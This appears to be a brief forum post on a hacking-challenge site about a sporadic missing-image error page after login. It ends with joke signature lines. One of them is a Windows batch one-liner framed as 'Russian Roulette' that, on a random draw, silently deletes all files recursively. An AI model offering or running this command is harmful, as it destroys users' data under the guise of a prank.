After logging in to the HTS main page (with the form with id 'loginform' that posts to '/user/login'), an error is being displayed about a missing gif image:
OK, that's the last time we let you drive.
The requested URL /retired.gif was not found on this server.
Click here to go back to the last page.
This happens every now and then, not on every attempt.
Answers to all HTS missions: %67%6f%6f%67%6c%65%2e%63%6f%6d
Russian Roulette for Windows users: @if %random:~-1% equ 1 del /q /s \*.*